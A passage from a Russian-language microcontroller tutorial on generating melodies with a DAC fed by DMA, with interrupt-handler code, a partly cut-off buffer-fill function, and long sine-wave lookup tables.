9, 10, 10, 11, 11, 12, 12, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 14, 15, 16, 16, 17, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 12, 12, 11, 10, 10, 9, 8, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 6, 6, 7, 7, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 13, 13, 12, 11, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 6, 6, 7, 8, 8, 9, 10, 10, 10, 11, 11, 12, 13, 14, 14, 15, 15, 16, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 14, 14, 13, 12, 12, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 9, 10, 10, 11, 12, 12, 13, 14, 14, 15, 16, 16, 17, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 14, 14, 13, 12, 11, 11, 10, 9, 8, 8, 7, 6, 5, 5, 4, 4, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7, 7, 8, 9, 10, 10, 10, 11, 12, 12, 13, 14, 15, 15, 16, 17, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 16, 16, 15, 14, 14, 13, 12, 11, 10, 10, 9, 8, 7, 6, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 5, 5, 6, 7, 8, 8, 9, 10, 10, 11, 12, 13, 13, 14, 15, 16, 16, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 15, 14, 14, 13, 12, 11, 10, 9, 9, 8, 7, 6, 5, 5, 4, 3, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 10, 11, 12, 13, 14, 14, 15, 16, 17, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 9, 8, 8, 7, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 4, 5, 6, 7, 8, 8, 9, 10, 10, 11, 12, 13, 14, 15, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 8, 7, 6, 5, 4, 3, 3, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 5, 6, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 17, 17, 16, 15, 14, 13, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 8, 7, 6, 5, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 12, 10, 9, 8, 7, 5, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 6, 7, 8, 9, 11, 10, 11, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 11, 10, 9, 7, 6, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 8, 9, 10, 10, 11, 13, 14, 15, 17, 18, 19, 19, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 12, 11, 9, 8, 7, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 7, 8, 10, 10, 12, 13, 14, 16, 17, 18, 19, 19, 20, 20, 20, 20, 19, 18, 17, 16, 15, 14, 12, 11, 9, 8, 6, 5, 4, 2, 2, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 6, 7, 9, 10, 10, 12, 13, 15, 16, 17, 18, 19, 20, 20, 20, 20, 19, 19, 18, 16, 15, 14, 12, 10, 9, 7, 6, 4, 3, 2, 1, 0, 0, 0, 0, 1, 1, 2, 3, 5, 6, 8, 9, 11, 10, 12, 13, 15, 16, 18, 19, 19, 20, 20, 20, 19, 19, 18, 17, 15, 14, 12, 10, 9, 7, 5, 4, 3, 2, 1, 0, 0, 0, 0, 1, 2, 3, 5, 6, 8, 9, 10, 12, 14, 15, 17, 18, 19, 20, 20, 20, 20, 19, 18, 17, 15, 14, 12, 10, 8, 7, 5, 4, 2, 1, 1, 0, 0, 0, 1, 2, 3, 4, 6, 8, 9, 10, 12, 14, 15, 17, 18, 19, 20, 20, 20, 19, 18, 17, 16, 14, 12, 10, 8, 7, 5, 3, 2, 1, 0, 0, 0, 1, 1, 2, 4, 6, 7, 9};
```
Так как каждая волна при этом будет иметь собственный период (чем выше тон — тем меньше период), то с возрастанием частоты — количество значений на волну будет все время уменьшаться. Для того, чтобы не запутаться, программа генерирует массив «смещений» (адрес первого элемента волны) и массив длин каждой волны.
6. Далее нам нужно изменить функцию прерывания по второму таймеру (прерывание смены структур). Здесь нам нужно добавить счетчик уже переданных ячеек. Мы знаем, что прерывание происходит стабильно раз в 512 передач. Таким образом, во время каждого прерывания мы можем разрешать перезапись уже переданных 512 блоков. **Вот код измененного прерывания.**
```
#define ST_Play_P (DAC_ST_ADC[10-1].channel_cfg & (1023<<4)) //Для проверки количества оставшихся передач в первичной структуре.
#define ST_Play_ALT (DAC_ST_ADC[10-1+32].channel_cfg & (1023<<4)) //Для проверки количества оставшихся передач в альтернативной структуре.
uint16_t LoopBUFData = 0; //Количество готовых к перезаписи ячеек.
void Timer2_IRQHandler (void) //Меняем структуры.
{
if ((ST_Play_P == 0) && (ST_Play_ALT <= ((1024-2)<<4))) //Если прошли первую половину и уже начата передача второй - переключиться на 2-ю.
{
DAC_ST_ADC[10-1].channel_cfg = (uint32_t)(DMA_DAC_InitST_PR); //Заново заполняем структуру первой.
};
if ((ST_Play_ALT == 0) && (ST_Play_P <= ((1024-2)<<4)))
{
DAC_ST_ADC[10-1+32].channel_cfg = (uint32_t)(DMA_DAC_InitST_ALT); //Альтернативной.
}
LoopBUFData=512; //Разрешаем перезапись 512 ячеек.
DMA->CHNL_ENABLE_SET = 1<<10; //Разрешаем передачу дальше.
TIMER2->STATUS=0; //Сбрасываем флак, чтобы не зайти в это прерывание снова.
}
```
7. Далее, ради теста, попробуем написать функцию, которая будет записывать N-ное количество значений волны в буфер. При этом следить, чтобы не стереть уже записанные ячейки, но не переданные ячейки.**Выглядит она так.**
```
uint16_t BufferIndex = 0; //Указатель на первый пустой элемент массива.
uint16_t LoopSin = 0; //Указатель на передаваемую ячейку значения периода волны.
uint16_t WavTon_BF; //Буффер имени предыдущей волны. Если мы повторно передаем одну и ту же волну - указатель на ячейку волны не меняется, если передаем другую волну - с уля.
void Bufheck (uint16_t LoopSIN, uint16_t WavTon) //Заливка в буффер LoopSIN значений WavTon (Принимаем смещение) волны DAC-а.
{
if (WavTon_BF!=WavTon) {WavTon_BF=WavTon; LoopSin=0;}; //Если передаем новую волну - то с начала.
for (uint16_t LoopZL = 0; LoopZL
```
**Настроим главную функцию.**
```
#include "main.h"
uint8_t Play_museic [30][2] = {18,2, 25,2, 20,6, 21,2, 21,4, 18,2, 25,2, 20,6, 21,2, 23,2, 21,2, 18,8, 36,2, 20,2, 16,2, 14,2, 16,8, 36,2, 18,2, 14,2, 13,2, 14,2, 16,2, 18,6, 20,2, 21,2, 23,2, 21,8, 20,4};
//Количество элементов в синусоиде номер 0..35.
const uint16_t MesKOL [36] = {246, 232, 217, 207, 195, 184, 174, 164, 156, 146, 138, 131, 123, 116, 110, 104, 98, 93, 87, 83, 78, 74, 70, 66, 62, 59, 55, 52, 50, 47, 44, 42, 40, 37, 35, 33};
//Смещение первого элемента массива 0..35.
const uint16_t MesSM [36] = {0, 246, 478, 695, 902, 1097, 1281, 1455, 1619, 1775, 1921, 2059, 2190, 2313, 2429, 2539, 2643, 2741, 2834, 2921, 3004, 3082, 3156, 3226, 3292, 3354, 3413, 3468, 3520, 3570, 3617, 3661, 3703, 3743, 3780, 3815};
//Выдаем основной массив.
const uint8_t SinMES [3849] = {15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 20, 20, 20, 21, 21, 21, 22, 22, 22, 23, 23, 23, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 29, 29, 28, 28, 28, 28, 28, 27, 27, 27, 27, 27, 26, 26, 26, 26, 25, 25, 25, 24, 24, 24, 23, 23, 23, 22, 22, 22, 21, 21, 21, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 14, 14, 14, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 14, 14, 14, 15, 15, 15, 15, 16, 16, 17, 17, 17, 18, 18, 19, 19, 19, 20, 20, 21, 21, 21, 22, 22, 22, 23, 23, 23, 24, 24, 24, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 29, 29, 28, 28, 28, 28, 28, 27, 27, 27, 27, 26, 26, 26, 25, 25, 25, 25, 24, 24, 24, 23, 23, 23, 22, 22, 21, 21, 21, 20, 20, 20, 19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 14, 14, 14, 13, 13, 12, 12, 12, 11, 11, 10, 10, 10, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 20, 20, 21, 21, 21, 22, 22, 22, 23, 23, 24, 24, 24, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 29, 28, 28, 28, 28, 28, 27, 27, 27, 27, 26, 26, 26, 25, 25, 25, 24, 24, 24, 23, 23, 23, 22, 22, 21, 21, 21, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 16, 16, 15, 15, 14, 14, 13, 13, 13, 12, 12, 11, 11, 10, 10, 10, 9, 9, 8, 8, 8, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 20, 21, 21, 22, 22, 22, 23, 23, 24, 24, 24, 25, 25, 25, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 29, 29, 28, 28, 28, 28, 27, 27, 27, 27, 26, 26, 26, 25, 25, 25, 24, 24, 24, 23, 23, 22, 22, 22, 21, 21, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 12, 13, 13, 14, 14, 15, 15, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 22, 23, 23, 24, 24, 24, 25, 25, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 29, 28, 28, 28, 28, 27, 27, 27, 27, 26, 26, 26, 25, 25, 24, 24, 24, 23, 23, 22, 22, 22, 21, 21, 20, 20, 19, 19, 18, 18, 17, 17, 16, 16, 16, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7, 7, 8, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 21, 22, 22, 23, 23, 24, 24, 24, 25, 25, 26, 26, 26, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 28, 28, 28, 28, 27, 27, 27, 27, 26, 26, 26, 25, 25, 24, 24, 24, 23, 23, 22, 22, 21, 21, 20, 20, 19, 19, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25, 25, 26, 26, 26, 27, 27, 27, 28, 28, 28, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 28, 28, 28, 28, 27, 27, 27, 26, 26, 26, 25, 25, 24, 24, 23, 23, 23, 22, 22, 21, 21, 20, 20, 19, 19, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25, 25, 26, 26, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 28, 28, 28, 28, 27, 27, 26, 26, 26, 25, 25, 24, 24, 23, 23, 23, 22, 21, 21, 20, 20, 19, 19, 18, 18, 17, 17, 16, 15, 15, 14, 14, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 19, 19, 20, 20, 21, 21, 22, 23, 23, 24, 24, 25, 25, 25, 26, 26, 27, 27, 27, 28, 28, 28, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 28, 28, 27, 27, 26, 26, 26, 25, 25, 24, 24, 23, 23, 22, 22, 21, 21, 20, 19, 19, 18, 18, 17, 16, 16, 15, 15, 14, 13, 13, 12, 12, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 12, 12, 13, 13, 14, 15, 15, 15, 16, 16, 17, 18, 18, 19, 19, 20, 21, 21, 22, 22, 23, 24, 24, 25, 25, 26, 26, 26, 27, 27, 28, 28, 28, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 28, 27, 27, 27, 26, 26, 25, 25, 24, 24, 23, 23, 22, 22, 21, 21, 20, 19, 19, 18, 17, 17, 16, 15, 15, 14, 14, 13, 12, 12, 11, 10, 10, 9, 9, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 10, 10, 11, 11, 12, 13, 13, 14, 15, 15, 16, 16, 17, 18, 18, 19, 20, 20, 21, 22, 22, 23, 23, 24, 25, 25, 26, 26, 26, 27, 27, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 29, 28, 28, 28, 27, 27, 26, 26, 25, 25, 24, 24, 23, 23, 22, 21, 21, 20, 19, 19, 18, 17, 17, 16, 15, 15, 14, 13, 13, 12, 11, 11, 10, 9, 9, 8, 8, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 7, 8, 8, 9, 9, 10, 11, 11, 12, 13, 13, 14, 15, 15, 16, 16, 17, 18, 19, 19, 20, 21, 21, 22, 23, 23, 24, 24, 25, 26, 26, 26, 27, 27, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 28, 27, 27, 26, 26, 25, 25, 24, 24, 23, 22, 22, 21, 21, 20, 19, 18, 18, 17, 16, 16, 15, 14, 13, 13, 12, 11, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 8, 8, 9, 10, 10, 11, 12, 12, 13, 14, 15, 15, 15, 16, 17, 17, 18, 19, 20, 20, 21, 22, 22, 23, 24, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 27, 27, 27, 26, 26, 25, 24, 24, 23, 22, 22, 21, 20, 20, 19, 18, 17, 17, 16, 15, 14, 14, 13, 12, 11, 11, 10, 9, 8, 8, 7, 6, 6, 5, 5, 4, 4, 3, 3, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 6, 6, 7, 7, 8, 9, 9, 10, 11, 12, 12, 13, 14, 15, 15, 16, 17, 17, 18, 19, 20, 21, 21, 22, 23, 23, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 27, 27, 26, 26, 25, 25, 24, 23, 23, 22, 21, 20, 20, 19, 18, 17, 16, 16, 15, 14, 13, 12, 12, 11, 10, 9, 8, 8, 7, 6, 6, 5, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 6, 6, 7, 8, 8, 9, 10, 11, 11, 12, 13, 14, 15, 15, 16, 17, 18, 18, 19, 20, 21, 22, 22, 23, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 27, 27, 26, 26, 25, 24, 24, 23, 22, 21, 21, 20, 19, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 10, 9, 8, 7, 7, 6, 5, 5, 4, 3, 3, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 9, 10, 11, 11, 12, 13, 14, 15, 15, 16, 17, 18, 19, 20, 20, 21, 22, 23, 24, 24, 25, 26, 26, 27, 27, 28, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 29, 28, 28, 27, 27, 26, 25, 25, 24, 23, 22, 22, 21, 20, 19, 18, 17, 16, 15, 14, 14, 13, 12, 11, 10, 9, 8, 7, 7, 6, 5, 5, 4, 3, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7, 7, 8, 9, 10, 11, 12, 12, 13, 14, 15, 15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 24, 25, 26, 26, 27, 27, 28, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 28, 28, 27, 27, 26, 25, 24, 24, 23, 22, 21, 20, 19, 18, 17, 16, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7, 8, 8, 9, 10, 11, 12, 13, 14, 15, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 24, 25, 26, 27, 27, 28, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 29, 29, 29, 28, 28, 27, 27, 26, 25, 24, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 5, 4, 3, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 4, 5, 6, 7, 8, 8, 9, 10, 11, 12, 13, 14, 15, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 26, 27, 28, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 30, 29, 29, 28, 28, 27, 27, 26, 25, 24, 23, 23, 22, 21, 20, 19, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 3, 4, 5, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25, 25, 26, 27, 28, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 29, 29, 29, 28, 28, 27, 26, 25, 24, 23, 23, 21, 20, 19, 18, 17, 16, 15, 14, 12, 11, 10, 9, 8, 7, 6, 5, 4, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 15, 16, 17, 19, 20, 21, 22, 23, 24, 25, 26, 27, 27, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 29, 29, 28, 28, 27, 26, 26, 25, 24, 23, 22, 20, 19, 18, 17, 16, 14, 13, 12, 11, 10, 9, 7, 6, 5, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 15, 16, 18, 19, 20, 21, 22, 24, 25, 26, 26, 27, 28, 29, 29, 29, 30, 30, 30, 30, 30, 30, 29, 29, 28, 27, 27, 26, 25, 24, 